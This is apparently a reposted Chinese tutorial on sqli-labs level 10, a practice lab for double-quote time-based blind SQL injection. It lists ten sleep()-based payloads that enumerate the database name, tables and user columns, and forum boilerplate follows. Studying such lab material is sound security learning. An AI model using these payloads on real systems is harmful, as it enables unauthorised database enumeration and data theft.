10.Less-10(blind-time based-double quotes)

这一关是一个双引号参数闭合的时间盲注,注入过程的话和上一关一样,只不过将后面的单引号换成双引号就行了,这里就不多说了。
  1. ?id=1"and if(length(database())=8,sleep(6),1)--+  //判断数据库名长度
  2. ?id=1"and if(left(database(),8)='security',sleep(6),1)--+   //判断数据库名
  3. ?id=1"and if((select count(table_name)from information_schema.tables where table_schema=database())=4,sleep(6),1)--+   //猜解security数据库下表的数目
  4. ?id=1"and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1 ))=5,sleep(6),1)--+  //判断users表的表名长度
  5. ?id=1"and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(6),1)--+  //猜解users表名
  6. ?id=1"and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(6),1)--+ //判断users表下的列数
  7. ?id=1"and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8,sleep(6),1)--+ //判断username字段名的长度
  8. ?id=1"and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8,sleep(6),1)--+ //判断password字段名的长度
  9. ?id=1"and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username',sleep(6),1)--+   //判断第二列的列名
  10. ?id=1"and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password',sleep(6),1)--+   //判断第三列的列名
复制代码
  本篇文章通过sqli-labs平台的1-10关为例,主要学习记录了参数闭合情况的判断以及注入,报错注入之一的Xpath语法错误注入,outfile语句数据导出,布尔型盲注以及时间盲注等。希望对大家的sql注入学习有所帮助,也希望能和大家在网络安全的这条路上越走越远。

来源:https://blog.caogenba.net/m0_46687377/article/details/122221359
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

帖子地址: 

回复

使用道具 举报

分享
推广
火星云矿 | 预约S19Pro,享500抵1000!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

草根技术分享(草根吧)是全球知名中文IT技术交流平台,创建于2021年,包含原创博客、精品问答、职业培训、技术社区、资源下载等产品服务,提供原创、优质、完整内容的专业IT技术开发社区。
  • 官方手机版

  • 微信公众号

  • 商务合作